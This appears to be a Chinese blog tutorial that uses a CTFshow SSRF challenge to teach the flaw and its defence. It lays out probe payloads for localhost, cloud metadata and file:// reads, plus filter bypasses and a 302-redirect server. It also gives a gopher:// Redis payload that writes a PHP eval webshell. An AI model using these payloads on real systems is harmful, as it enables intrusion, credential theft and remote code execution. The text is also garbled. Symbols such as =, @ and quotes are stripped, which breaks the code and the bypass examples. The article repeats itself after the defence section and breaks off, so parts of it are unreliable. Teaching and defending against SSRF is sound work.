1. 项目概述从一道CTF题看透SSRF的本质最近在带新人入门Web安全发现很多朋友对SSRF服务器端请求伪造这个概念的理解总是停留在“哦就是让服务器去访问一个地址”这个层面。这其实挺危险的因为SSRF的威力远不止于此。正好CTFshow平台上的Web入门系列里有一道经典的SSRF题目它就像一把精巧的钥匙能帮我们打开理解SSRF内部运作机制的大门。这道题不单单是让你提交一个URL拿到flag那么简单它系统地串联起了SSRF漏洞的成因、利用手法、绕过技巧以及最终如何转化为实际危害的完整链条。对于刚接触安全的朋友来说SSRF可能听起来有点抽象。我打个比方你在一家戒备森严的公司里前台有一台内网电话。正常情况下访客外部用户只能通过这台电话联系公司内部的某个指定部门比如客服部。但SSRF漏洞就像是这台电话的拨号规则出了bug访客可以输入一串特殊的“指令”让前台服务器用这台内网电话去拨打公司内部任何其他部门的号码甚至去打给公司外部的某个地方然后把听到的内容响应转述给访客。这样一来访客就相当于获得了一个来自公司内部网络身份的“代理人”能窥探或攻击那些原本对外部完全不可见的内网服务。CTFshow的这道入门题正是模拟了这样一个场景。它没有用复杂的业务逻辑来迷惑你而是把SSRF最核心的“请求伪造”能力赤裸裸地摆在你面前让你去思考给定一个可控的输入点你究竟能让服务器为你做多少事接下来我们就一层层剥开这道题我会结合我这些年挖洞和做红队评估的经验把其中涉及的技术点、思维路径和那些容易踩的坑掰开揉碎了讲给你听。2. 核心漏洞原理与请求伪造的根源要打好SSRF必须先搞清楚它到底是怎么发生的。很多文章一上来就讲各种利用姿势和绕过方法但如果不明白底层原理遇到新场景还是会懵。SSRF的本质是应用程序在获取远程资源时未对用户提供的URL地址进行充分验证和过滤导致攻击者可以操纵服务器向任意地址发起请求。2.1 漏洞产生的典型代码模式我们来看一个最简单的、问题百出的PHP代码示例这非常接近CTFshow题目中可能出现的后端逻辑?php function curl($url){ $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result curl_exec($ch); curl_close($ch); return $result; } $url $_GET[url]; // 用户完全可控的输入点 echo curl($url); ?这段代码的功能清晰得可怕它从$_GET[url]获取一个参数然后直接用cURL函数去请求这个URL并将返回的内容原样输出。这里每一个环节都充满了危险。首先$_GET[url]是用户通过浏览器地址栏或表单直接提交的这意味着攻击者可以传入任何他想传入的字符串。其次curl($url)这个函数忠实地执行了“请求用户指定URL”的任务没有任何审查机制。服务器在这里扮演了一个“盲目的信使”角色它不会问“这个地址安全吗”、“这是内网地址吗”它只会执行。在实际的CTF题目或真实漏洞中代码可能包裹在更复杂的业务逻辑里比如“网页翻译”、“在线代理”、“数据采集”、“文件上传远程拉取”等功能。但核心模式万变不离其宗存在一个用户可控的输入点这个输入点被直接或间接拼接成了后端发起网络请求的目标地址。2.2 为什么说SSRF危害巨大你可能觉得不就是让服务器发个请求嘛能有多大危害这里我必须强调SSRF的危害等级常常被低估。它的可怕之处在于攻击视角的切换。突破网络边界这是SSRF最经典的作用。公司的外部应用服务器通常可以访问内部网络比如连接数据库、访问缓存服务。而外部攻击者是无法直接触碰内网的。SSRF漏洞让攻击者能够以应用服务器为跳板向内网任意IP和端口发起探测或攻击相当于拿到了一张进入内网的“临时通行证”。攻击本地服务服务器本地127.0.0.1/localhost会运行很多只对本机开放的管理服务或API比如Redis6379、Memcached11211、MySQL3306甚至是Docker API2375。通过SSRF攻击者可以尝试与这些服务通信如果这些服务配置不当如无认证或弱密码就可能直接导致数据泄露、命令执行甚至拿下服务器权限。规避IP限制与认证有些外部服务会对访问IP做白名单限制或者内部服务之间通信基于IP进行信任认证。当服务器作为客户端去请求时目标服务看到的是服务器的IP而不是攻击者的IP。这就绕过了基于客户端IP的访问控制。端口扫描攻击者可以构造批量请求让服务器依次去访问某个IP的多个端口根据返回结果的差异连接成功、连接超时、连接被拒来判断目标端口是否开放从而实现对内网或本地端口的扫描。注意在真实渗透测试中利用SSRF进行内网探测是高风险操作必须获得明确授权。在CTF中这则是解题的常规思路。理解了这个原理我们再回头看CTFshow的题目。它通常会给你一个类似上述的、存在SSRF漏洞的功能点。你的任务就是操控这个“信使”让它去访问一个特定的、藏着flag的地址往往是内网地址或本地某个特殊服务然后把访问结果带回来给你。3. 利用手法全解析从基础探测到高级利用知道了漏洞在哪接下来就是“怎么用”的问题。SSRF的利用手法是一个循序渐进的过程从信息收集到深度利用每一步都考验你对网络协议和服务的理解。3.1 第一步确认漏洞与协议探测拿到一个疑似存在SSRF的功能点比如一个“查看网页源码”或“获取图片”的输入框不要急着上复杂的payload。先进行最基本的验证。基础验证Payloadhttp://127.0.0.1:80 尝试访问本机Web服务。如果返回了本机Web服务器的默认页面如Apache的“It works!”说明漏洞存在且可以访问本地环回地址。http://169.254.169.254/ 这是一个特殊的链路本地地址在AWS、阿里云等云服务器上用于提供云实例的元数据metadata。如果返回了实例ID、密钥等信息那危害就极大了。CTF题目也常在这里藏flag。file:///etc/passwd 尝试使用file://协议读取服务器本地文件。如果成功说明后端请求库支持此协议危害直接升级为任意文件读取。协议探测后端程序使用的网络请求库如PHP的cURL、file_get_contents Python的requests Java的HttpURLConnection支持的协议可能不同。你需要测试哪些协议可用http:///https:// 基本都支持。file:// 读取本地文件。dict:// 字典协议可用于探测端口服务如dict://127.0.0.1:6379/info可能返回Redis信息。gopher:// 一个非常古老的协议但却是SSRF中的“瑞士军刀”。它可以封装任意的TCP数据流用于攻击Redis、MySQL、FastCGI等内网服务构造攻击payload。在CTF中Gopher协议是高频考点。ftp:// FTP协议可能用于与FTP服务器交互。在CTFshow的题目环境中通常会限制可用协议比如只允许http(s)://这就需要我们思考如何在HTTP的框架下实现更深度的攻击。3.2 第二步绕过常见防御与过滤题目不会让你轻易得逞通常会设置一些过滤规则。这时就需要一些绕过技巧。1. 域名/IP地址绕过进制转换127.0.0.1可以表示为2130706433十进制、0x7f000001十六进制、0177.0.0.01八进制。有些过滤器只检查字符串形式的点分十进制IP。特殊域名解析127.0.0.1.xip.io或127.0.0.1.nip.io会被解析为127.0.0.1。localhost也是一个常见的替代。域名重定向 攻击者可以控制一个域名将其A记录指向127.0.0.1然后让服务器去访问这个域名。或者利用URL缩短服务。IPv6地址[::1]或[0:0:0:0:0:0:0:1]代表IPv6的环回地址。有些过滤器可能只检查IPv4。2. URL解析歧义绕过这是利用了解析库如parse_url和后端请求库如cURL对URL解析的差异。利用符号 在URL中用于分隔认证信息。http://example.com127.0.0.1对于parse_url其host可能是example.com但对于cURL它实际会去连接127.0.0.1。可以尝试http://foo127.0.0.1:80。利用#符号#是片段标识符。http://127.0.0.1#evil.com过滤器可能只取#之前的部分做检查认为host是evil.com但cURL请求的仍是127.0.0.1。利用DNS解析 将恶意IP绑定到一个子域名上如http://127.0.0.1.evil.com/如果过滤器采用正则匹配127.0.0.1字符串可能会被绕过。3. 针对黑名单的绕过如果题目黑名单了127.0.0.1、localhost、0.0.0.0等关键词。大小写变换LocAlHoSt、127.0.0.0.1多一个点。利用句号。或全角字符127。0。0。1在某些环境下可能被错误解析。利用URL编码 对部分字符进行编码如127.0.0.1-127%2e0%2e0%2e1或127%2E0%2E0%2E1。注意浏览器可能会自动解码但后端检查逻辑可能是在解码前进行的。4. 针对端口限制的绕过如果题目要求URL必须包含某个端口或只允许访问80、443端口。利用默认端口http://127.0.0.1:80和http://127.0.0.1是等价的。如果过滤器检查了:80可以尝试不加端口。利用非标准端口上的HTTP服务 内网服务可能开在8080、3000、8000等端口需要扫描。实操心得 绕过没有一成不变的方法核心是理解过滤器的检查逻辑是在哪个环节字符串匹配正则解析后对象属性检查。多尝试、多观察错误信息结合Burp Suite的Intruder模块进行模糊测试是最高效的方法。3.3 第三步内网探测与端口扫描一旦确认可以访问内网地址下一步就是信息收集。在CTF中flag可能藏在某个内网IP的特定端口上。手动探测思路确定网段 先尝试常见的C段内网地址如192.168.0.0/24、172.16.0.0/12、10.0.0.0/8。可以从192.168.0.1、172.16.0.1、10.0.0.1这类网关地址开始试。扫描常见端口 对发现的存活IP批量尝试其常见端口。Web服务80, 443, 8080, 8000、数据库3306, 6379, 5432, 27017、缓存11211、远程管理22, 3389等。利用工具辅助在授权测试中 虽然CTF中通常手动操作但了解工具原理有帮助。可以编写脚本通过SSRF漏洞点批量发送请求根据响应时间或内容判断端口状态。例如连接成功可能立即返回数据或特定错误如HTTP 400 Bad Request说明不是HTTP服务但端口开放连接超时则端口可能被防火墙过滤连接被拒绝则端口关闭。在CTFshow题目里这一步往往很直接题目描述或页面提示可能会给出目标内网IP和端口省去了扫描的步骤重点考察的是如何构造请求去访问它。3.4 第四步攻击内网服务以Redis为例这是SSRF利用的高级阶段也是CTF题目的精华所在。假设我们通过探测发现内网172.18.0.2:6379运行着Redis服务且未设置密码。我们的目标是通过SSRF让服务器向这个Redis发送命令最终在服务器上执行系统命令或写入Webshell。为什么选择Gopher协议因为HTTP协议是应用层协议有固定的格式请求行、请求头、空行、请求体我们很难用HTTP请求去模拟Redis客户端发送的原始TCP数据包。而Gopher协议可以封装任意的TCP数据流它就像一个“原始套接字”的搬运工特别适合用来攻击像Redis、MySQL、Memcached、FastCGI这类基于纯文本或特定二进制协议的服务。攻击步骤拆解构造Redis命令 我们想达到的目的是在Web目录假设是/var/www/html下写入一个PHP Webshell。Redis可以将数据保存为文件。我们需要构造的Redis命令序列如下flushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save这些命令的意思是清空所有数据 - 设置一个键值对键为shell值为我们的PHP代码 - 设置Redis持久化文件保存目录为Web目录 - 设置持久化文件名为shell.php- 保存数据到磁盘。将命令转换为Redis协议格式 Redis客户端与服务端通信使用一种简单的协议RESP。我们需要将上述命令行转换为符合RESP协议的格式。以set shell ?php eval($_POST[cmd]);?为例其RESP格式为*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$33\r\n?php eval($_POST[cmd]);?\r\n解释一下*3表示这是一个包含3个元素的数组。$3表示下一个元素是长度为3的字符串即set。\r\n是回车换行是协议的分隔符。以此类推。我们需要将整个命令序列都转换成这种格式并拼接起来。将协议数据包进行URL编码 因为我们要通过GET参数传递需要将整个数据流进行URL编码特别是换行符\r\n需要编码为%0d%0a。构造Gopher Payload Gopher URL的格式是gopher://host:port/gopher-path。其中gopher-path的第一个字符表示类型_表示发送的数据后面跟着的就是要发送的TCP数据流。所以最终的Payload看起来会像这样已简化gopher://172.18.0.2:6379/_%2A3%0d%0a%243%0d%0aset%0d%0a%245%0d%0ashell%0d%0a%2433%0d%0a%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0d%0a...将这个Payload提交给存在SSRF漏洞的url参数服务器就会向172.18.0.2:6379发起一个Gopher请求并发送我们编码好的Redis协议数据。Redis服务会将这些数据解析为合法的命令并执行。访问Webshell 如果一切顺利执行save命令后Redis就会在/var/www/html目录下生成一个名为shell.php的文件内容就是我们写入的PHP代码。此时我们直接访问http://目标网站/shell.php并使用POST传递cmdsystem(ls);等命令就能实现远程代码执行进而找到并读取flag文件。注意事项 这种攻击成功的前提非常苛刻Redis未授权访问、Redis运行用户有Web目录写权限、知道Web绝对路径。在真实环境中很难同时满足但在CTF的简化环境里这却是经典的出题套路。CTFshow的SSRF题目很可能就需要你完成这样一串操作。4. CTFshow SSRF题目实战推演与技巧结合CTFshow平台的特点我们模拟一道典型的SSRF题目解题过程。请注意以下内容是基于常见考点的综合推演并非某一道具体题目的题解。4.1 题目场景假设假设题目给出一个简单的界面只有一个输入框提示“请输入一个URL我将为你获取其内容”。提交后页面会显示目标URL的响应内容。源码可能提示了flag在某个地方。第一步信息收集与漏洞确认提交http://httpbin.org/get查看返回。如果成功返回了你的请求信息包括User-Agent等说明功能正常且可能透露后端使用的编程语言或库从响应头如Server或一些特定字段判断。提交http://127.0.0.1/。如果返回了本机Web服务页面如Apache/Nginx欢迎页确认SSRF存在。提交file:///etc/passwd。如果返回了系统用户列表说明支持file协议题目难度可能降低。如果返回错误或空白可能被过滤。第二步探测过滤规则提交http://localhost/观察是否被拦截。如果被拦说明有黑名单。尝试绕过http://127.1/、http://2130706433/、http://127.0.0.1.xip.io/。尝试使用其他协议dict://127.0.0.1:6379/info。如果返回Redis信息则直接进入内网攻击环节。如果返回“协议不允许”等错误则可能只允许HTTP/HTTPS。第三步根据提示或盲猜目标题目描述或页面源码注释中常常会给出线索。例如提示“flag在内部管理系统中” - 可能要去访问http://admin.internal/或192.168.x.x。提示“我们的key放在一个记忆服务里” - 可能指Memcached或Redis。直接给出一个内网IP和端口如访问 172.18.0.3:8080 以获取下一步信息。第四步构造最终攻击假设我们发现需要访问http://127.0.0.1:8080/flag.php但直接访问被拦截提示“不允许访问本地地址”。我们需要绕过。分析过滤 提示是“不允许访问本地地址”很可能是对127.0.0.1、localhost、0.0.0.0等字符串进行了关键词匹配。尝试绕过URL编码http://127%2e0%2e0%2e1:8080/flag.php(失败可能检查解码后的字符串)十进制IPhttp://2130706433:8080/flag.php(可能成功)利用http://abc127.0.0.1:8080/flag.php(可能失败因为host解析后还是127.0.0.1)利用重定向自己搭建一个服务器设置302跳转到http://127.0.0.1:8080/flag.php然后提交自己服务器的地址。这是非常有效的绕过方式因为过滤器只检查了最初提交的URL而不会跟踪重定向。获取Flag 当绕过成功页面显示flag.php的内容其中包含了flag。更复杂的场景如果题目要求攻击内网Redis但禁用了Gopher协议只允许HTTP。这时就需要利用HTTP协议去攻击Redis。这听起来不可能但有一个技巧利用CRLF注入。 如果后端在构造请求时未正确处理用户输入可能将我们输入的URL直接拼接到HTTP请求头中。我们可以尝试注入\r\n即%0d%0a来提前结束原本的请求行或请求头并开始一个新的请求行从而向同一个TCP连接中的Redis端口发送任意数据。但这需要后端请求实现存在缺陷难度较高在CTF中也是可能的考点。4.2 必备工具与调试技巧Burp Suite 绝对的主力。用Repeater模块反复修改和发送Payload用Intruder模块进行端口扫描或模糊测试过滤规则。Netcat (nc) 在本地或可控服务器上监听端口用于接收SSRF漏洞点发出的请求以确认漏洞确实触发并查看服务器发送的完整请求内容。命令nc -lvnp 9999。简单的HTTP重定向服务 用于绕过对目标地址的过滤。可以用Python快速搭建from flask import Flask, redirect app Flask(__name__) app.route(/) def redir(): return redirect(http://127.0.0.1:8080/flag.php, code302) if __name__ __main__: app.run(host0.0.0.0, port8888)然后提交http://你的服务器IP:8888/。DNSLog平台 用于检测盲SSRF即漏洞存在但响应不直接返回给前端。你可以提交一个类似http://your-subdomain.dnslog.cn的地址如果平台收到DNS解析记录就证明服务器确实对外发起了请求。编码转换工具 在线URL编码/解码工具、进制转换工具用于快速生成各种绕过Payload。5. 从CTF到实战防御SSRF的深层思考通过CTF题目我们站在攻击者角度把SSRF玩了个遍。现在切换回防御者视角如何避免自己的应用出现SSRF漏洞这需要从架构和代码两个层面入手。5.1 代码层防御白名单与统一出口1. 严格实施URL白名单机制这是最有效的方法。如果业务功能明确只需要访问少数几个固定的外部资源那么直接维护一个允许的域名或IP白名单。$allowed_hosts [api.trusted.com, cdn.safe.org]; $parsed_url parse_url($user_input_url); if (!in_array($parsed_url[host], $allowed_hosts)) { die(Access denied.); }注意parse_url()函数在不同环境下解析结果可能有差异需要谨慎使用并测试边缘情况。2. 禁用不必要的URL协议和特殊地址明确只允许http://和https://禁用file://、gopher://、dict://、ftp://等危险协议。在代码或网络层屏蔽对内部网络地址段的请求回环地址127.0.0.0/8,::1内网私有地址10.0.0.0/8,172.16.0.0/12,192.168.0.0/16链路本地地址169.254.0.0/16云服务元数据地址169.254.169.254(AWS),100.100.100.200(阿里云)等。3. 使用安全的网络请求库并正确配置使用成熟的、有良好SSRF防护的库并更新到最新版本。对于cURL设置CURLOPT_PROTOCOLS限制协议设置CURLOPT_IPRESOLVE为CURL_IPRESOLVE_V4可以防止IPv6绕过在某些场景下。永远不要跟随重定向CURLOPT_FOLLOWLOCATION设置为false或者如果必须跟随要对重定向后的URL再次进行严格的验证。5.2 架构层防御隔离与代理1. 网络隔离将可以发起外部网络请求的应用服务器部署在独立的DMZ区域严格限制其向内网发起连接的防火墙规则。遵循最小权限原则只开放必要的出站端口如80, 443。2. 使用正向代理与鉴权所有需要获取外部资源的请求必须通过一个统一的正向代理服务。这个代理服务实施严格的访问控制策略如白名单、协议限制、身份认证。后端业务代码不直接请求外部URL而是向代理服务发送请求由代理代为获取。这样就把SSRF的风险集中到了代理服务这一个点上进行管控。3. 为出站请求设置独立的网络身份使用独立的服务账户、虚拟机或容器来运行需要执行外部请求的任务。这个身份具有严格的网络访问权限即使被攻破影响范围也有限。5.3 运营层防御监控与响应1. 建立异常请求监控监控服务器发起的异常出站连接特别是目标为内部IP段或回环地址的连接。目标端口为非常见端口如6379, 11211, 2375的连接。请求频率异常高的连接可能在进行端口扫描。2. 定期安全审计与模糊测试将SSRF检测纳入代码审计和自动化安全测试SAST/DAST的范畴。对任何涉及外部URL获取的功能点进行重点测试。3. 错误信息处理确保应用程序在遇到SSRF防护拦截或网络请求错误时返回统一的、信息模糊的错误提示如“获取资源失败”而不要将内部错误信息如“连接被拒绝到192.168.1.1:6379”泄露给用户这会给攻击者提供宝贵的信息。说到底防御SSRF的核心思想就八个字不信任、要验证、限范围、勤监控。永远不要相信用户提供的任何URL必须经过严格的验证将网络请求能力限制在最小必要范围并时刻监控异常行为。CTFshow的SSRF入门题是一个绝佳的起点它用最直观的方式展示了漏洞的威力。理解它攻克它然后站在更高的维度去思考如何防御它这才是学习Web安全的正确路径。
从CTF实战剖析SSRF漏洞:原理、利用与防御
发布时间:2026/7/8 16:37:57
1. 项目概述从一道CTF题看透SSRF的本质最近在带新人入门Web安全发现很多朋友对SSRF服务器端请求伪造这个概念的理解总是停留在“哦就是让服务器去访问一个地址”这个层面。这其实挺危险的因为SSRF的威力远不止于此。正好CTFshow平台上的Web入门系列里有一道经典的SSRF题目它就像一把精巧的钥匙能帮我们打开理解SSRF内部运作机制的大门。这道题不单单是让你提交一个URL拿到flag那么简单它系统地串联起了SSRF漏洞的成因、利用手法、绕过技巧以及最终如何转化为实际危害的完整链条。对于刚接触安全的朋友来说SSRF可能听起来有点抽象。我打个比方你在一家戒备森严的公司里前台有一台内网电话。正常情况下访客外部用户只能通过这台电话联系公司内部的某个指定部门比如客服部。但SSRF漏洞就像是这台电话的拨号规则出了bug访客可以输入一串特殊的“指令”让前台服务器用这台内网电话去拨打公司内部任何其他部门的号码甚至去打给公司外部的某个地方然后把听到的内容响应转述给访客。这样一来访客就相当于获得了一个来自公司内部网络身份的“代理人”能窥探或攻击那些原本对外部完全不可见的内网服务。CTFshow的这道入门题正是模拟了这样一个场景。它没有用复杂的业务逻辑来迷惑你而是把SSRF最核心的“请求伪造”能力赤裸裸地摆在你面前让你去思考给定一个可控的输入点你究竟能让服务器为你做多少事接下来我们就一层层剥开这道题我会结合我这些年挖洞和做红队评估的经验把其中涉及的技术点、思维路径和那些容易踩的坑掰开揉碎了讲给你听。2. 核心漏洞原理与请求伪造的根源要打好SSRF必须先搞清楚它到底是怎么发生的。很多文章一上来就讲各种利用姿势和绕过方法但如果不明白底层原理遇到新场景还是会懵。SSRF的本质是应用程序在获取远程资源时未对用户提供的URL地址进行充分验证和过滤导致攻击者可以操纵服务器向任意地址发起请求。2.1 漏洞产生的典型代码模式我们来看一个最简单的、问题百出的PHP代码示例这非常接近CTFshow题目中可能出现的后端逻辑?php function curl($url){ $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result curl_exec($ch); curl_close($ch); return $result; } $url $_GET[url]; // 用户完全可控的输入点 echo curl($url); ?这段代码的功能清晰得可怕它从$_GET[url]获取一个参数然后直接用cURL函数去请求这个URL并将返回的内容原样输出。这里每一个环节都充满了危险。首先$_GET[url]是用户通过浏览器地址栏或表单直接提交的这意味着攻击者可以传入任何他想传入的字符串。其次curl($url)这个函数忠实地执行了“请求用户指定URL”的任务没有任何审查机制。服务器在这里扮演了一个“盲目的信使”角色它不会问“这个地址安全吗”、“这是内网地址吗”它只会执行。在实际的CTF题目或真实漏洞中代码可能包裹在更复杂的业务逻辑里比如“网页翻译”、“在线代理”、“数据采集”、“文件上传远程拉取”等功能。但核心模式万变不离其宗存在一个用户可控的输入点这个输入点被直接或间接拼接成了后端发起网络请求的目标地址。2.2 为什么说SSRF危害巨大你可能觉得不就是让服务器发个请求嘛能有多大危害这里我必须强调SSRF的危害等级常常被低估。它的可怕之处在于攻击视角的切换。突破网络边界这是SSRF最经典的作用。公司的外部应用服务器通常可以访问内部网络比如连接数据库、访问缓存服务。而外部攻击者是无法直接触碰内网的。SSRF漏洞让攻击者能够以应用服务器为跳板向内网任意IP和端口发起探测或攻击相当于拿到了一张进入内网的“临时通行证”。攻击本地服务服务器本地127.0.0.1/localhost会运行很多只对本机开放的管理服务或API比如Redis6379、Memcached11211、MySQL3306甚至是Docker API2375。通过SSRF攻击者可以尝试与这些服务通信如果这些服务配置不当如无认证或弱密码就可能直接导致数据泄露、命令执行甚至拿下服务器权限。规避IP限制与认证有些外部服务会对访问IP做白名单限制或者内部服务之间通信基于IP进行信任认证。当服务器作为客户端去请求时目标服务看到的是服务器的IP而不是攻击者的IP。这就绕过了基于客户端IP的访问控制。端口扫描攻击者可以构造批量请求让服务器依次去访问某个IP的多个端口根据返回结果的差异连接成功、连接超时、连接被拒来判断目标端口是否开放从而实现对内网或本地端口的扫描。注意在真实渗透测试中利用SSRF进行内网探测是高风险操作必须获得明确授权。在CTF中这则是解题的常规思路。理解了这个原理我们再回头看CTFshow的题目。它通常会给你一个类似上述的、存在SSRF漏洞的功能点。你的任务就是操控这个“信使”让它去访问一个特定的、藏着flag的地址往往是内网地址或本地某个特殊服务然后把访问结果带回来给你。3. 利用手法全解析从基础探测到高级利用知道了漏洞在哪接下来就是“怎么用”的问题。SSRF的利用手法是一个循序渐进的过程从信息收集到深度利用每一步都考验你对网络协议和服务的理解。3.1 第一步确认漏洞与协议探测拿到一个疑似存在SSRF的功能点比如一个“查看网页源码”或“获取图片”的输入框不要急着上复杂的payload。先进行最基本的验证。基础验证Payloadhttp://127.0.0.1:80 尝试访问本机Web服务。如果返回了本机Web服务器的默认页面如Apache的“It works!”说明漏洞存在且可以访问本地环回地址。http://169.254.169.254/ 这是一个特殊的链路本地地址在AWS、阿里云等云服务器上用于提供云实例的元数据metadata。如果返回了实例ID、密钥等信息那危害就极大了。CTF题目也常在这里藏flag。file:///etc/passwd 尝试使用file://协议读取服务器本地文件。如果成功说明后端请求库支持此协议危害直接升级为任意文件读取。协议探测后端程序使用的网络请求库如PHP的cURL、file_get_contents Python的requests Java的HttpURLConnection支持的协议可能不同。你需要测试哪些协议可用http:///https:// 基本都支持。file:// 读取本地文件。dict:// 字典协议可用于探测端口服务如dict://127.0.0.1:6379/info可能返回Redis信息。gopher:// 一个非常古老的协议但却是SSRF中的“瑞士军刀”。它可以封装任意的TCP数据流用于攻击Redis、MySQL、FastCGI等内网服务构造攻击payload。在CTF中Gopher协议是高频考点。ftp:// FTP协议可能用于与FTP服务器交互。在CTFshow的题目环境中通常会限制可用协议比如只允许http(s)://这就需要我们思考如何在HTTP的框架下实现更深度的攻击。3.2 第二步绕过常见防御与过滤题目不会让你轻易得逞通常会设置一些过滤规则。这时就需要一些绕过技巧。1. 域名/IP地址绕过进制转换127.0.0.1可以表示为2130706433十进制、0x7f000001十六进制、0177.0.0.01八进制。有些过滤器只检查字符串形式的点分十进制IP。特殊域名解析127.0.0.1.xip.io或127.0.0.1.nip.io会被解析为127.0.0.1。localhost也是一个常见的替代。域名重定向 攻击者可以控制一个域名将其A记录指向127.0.0.1然后让服务器去访问这个域名。或者利用URL缩短服务。IPv6地址[::1]或[0:0:0:0:0:0:0:1]代表IPv6的环回地址。有些过滤器可能只检查IPv4。2. URL解析歧义绕过这是利用了解析库如parse_url和后端请求库如cURL对URL解析的差异。利用符号 在URL中用于分隔认证信息。http://example.com127.0.0.1对于parse_url其host可能是example.com但对于cURL它实际会去连接127.0.0.1。可以尝试http://foo127.0.0.1:80。利用#符号#是片段标识符。http://127.0.0.1#evil.com过滤器可能只取#之前的部分做检查认为host是evil.com但cURL请求的仍是127.0.0.1。利用DNS解析 将恶意IP绑定到一个子域名上如http://127.0.0.1.evil.com/如果过滤器采用正则匹配127.0.0.1字符串可能会被绕过。3. 针对黑名单的绕过如果题目黑名单了127.0.0.1、localhost、0.0.0.0等关键词。大小写变换LocAlHoSt、127.0.0.0.1多一个点。利用句号。或全角字符127。0。0。1在某些环境下可能被错误解析。利用URL编码 对部分字符进行编码如127.0.0.1-127%2e0%2e0%2e1或127%2E0%2E0%2E1。注意浏览器可能会自动解码但后端检查逻辑可能是在解码前进行的。4. 针对端口限制的绕过如果题目要求URL必须包含某个端口或只允许访问80、443端口。利用默认端口http://127.0.0.1:80和http://127.0.0.1是等价的。如果过滤器检查了:80可以尝试不加端口。利用非标准端口上的HTTP服务 内网服务可能开在8080、3000、8000等端口需要扫描。实操心得 绕过没有一成不变的方法核心是理解过滤器的检查逻辑是在哪个环节字符串匹配正则解析后对象属性检查。多尝试、多观察错误信息结合Burp Suite的Intruder模块进行模糊测试是最高效的方法。3.3 第三步内网探测与端口扫描一旦确认可以访问内网地址下一步就是信息收集。在CTF中flag可能藏在某个内网IP的特定端口上。手动探测思路确定网段 先尝试常见的C段内网地址如192.168.0.0/24、172.16.0.0/12、10.0.0.0/8。可以从192.168.0.1、172.16.0.1、10.0.0.1这类网关地址开始试。扫描常见端口 对发现的存活IP批量尝试其常见端口。Web服务80, 443, 8080, 8000、数据库3306, 6379, 5432, 27017、缓存11211、远程管理22, 3389等。利用工具辅助在授权测试中 虽然CTF中通常手动操作但了解工具原理有帮助。可以编写脚本通过SSRF漏洞点批量发送请求根据响应时间或内容判断端口状态。例如连接成功可能立即返回数据或特定错误如HTTP 400 Bad Request说明不是HTTP服务但端口开放连接超时则端口可能被防火墙过滤连接被拒绝则端口关闭。在CTFshow题目里这一步往往很直接题目描述或页面提示可能会给出目标内网IP和端口省去了扫描的步骤重点考察的是如何构造请求去访问它。3.4 第四步攻击内网服务以Redis为例这是SSRF利用的高级阶段也是CTF题目的精华所在。假设我们通过探测发现内网172.18.0.2:6379运行着Redis服务且未设置密码。我们的目标是通过SSRF让服务器向这个Redis发送命令最终在服务器上执行系统命令或写入Webshell。为什么选择Gopher协议因为HTTP协议是应用层协议有固定的格式请求行、请求头、空行、请求体我们很难用HTTP请求去模拟Redis客户端发送的原始TCP数据包。而Gopher协议可以封装任意的TCP数据流它就像一个“原始套接字”的搬运工特别适合用来攻击像Redis、MySQL、Memcached、FastCGI这类基于纯文本或特定二进制协议的服务。攻击步骤拆解构造Redis命令 我们想达到的目的是在Web目录假设是/var/www/html下写入一个PHP Webshell。Redis可以将数据保存为文件。我们需要构造的Redis命令序列如下flushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save这些命令的意思是清空所有数据 - 设置一个键值对键为shell值为我们的PHP代码 - 设置Redis持久化文件保存目录为Web目录 - 设置持久化文件名为shell.php- 保存数据到磁盘。将命令转换为Redis协议格式 Redis客户端与服务端通信使用一种简单的协议RESP。我们需要将上述命令行转换为符合RESP协议的格式。以set shell ?php eval($_POST[cmd]);?为例其RESP格式为*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$33\r\n?php eval($_POST[cmd]);?\r\n解释一下*3表示这是一个包含3个元素的数组。$3表示下一个元素是长度为3的字符串即set。\r\n是回车换行是协议的分隔符。以此类推。我们需要将整个命令序列都转换成这种格式并拼接起来。将协议数据包进行URL编码 因为我们要通过GET参数传递需要将整个数据流进行URL编码特别是换行符\r\n需要编码为%0d%0a。构造Gopher Payload Gopher URL的格式是gopher://host:port/gopher-path。其中gopher-path的第一个字符表示类型_表示发送的数据后面跟着的就是要发送的TCP数据流。所以最终的Payload看起来会像这样已简化gopher://172.18.0.2:6379/_%2A3%0d%0a%243%0d%0aset%0d%0a%245%0d%0ashell%0d%0a%2433%0d%0a%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0d%0a...将这个Payload提交给存在SSRF漏洞的url参数服务器就会向172.18.0.2:6379发起一个Gopher请求并发送我们编码好的Redis协议数据。Redis服务会将这些数据解析为合法的命令并执行。访问Webshell 如果一切顺利执行save命令后Redis就会在/var/www/html目录下生成一个名为shell.php的文件内容就是我们写入的PHP代码。此时我们直接访问http://目标网站/shell.php并使用POST传递cmdsystem(ls);等命令就能实现远程代码执行进而找到并读取flag文件。注意事项 这种攻击成功的前提非常苛刻Redis未授权访问、Redis运行用户有Web目录写权限、知道Web绝对路径。在真实环境中很难同时满足但在CTF的简化环境里这却是经典的出题套路。CTFshow的SSRF题目很可能就需要你完成这样一串操作。4. CTFshow SSRF题目实战推演与技巧结合CTFshow平台的特点我们模拟一道典型的SSRF题目解题过程。请注意以下内容是基于常见考点的综合推演并非某一道具体题目的题解。4.1 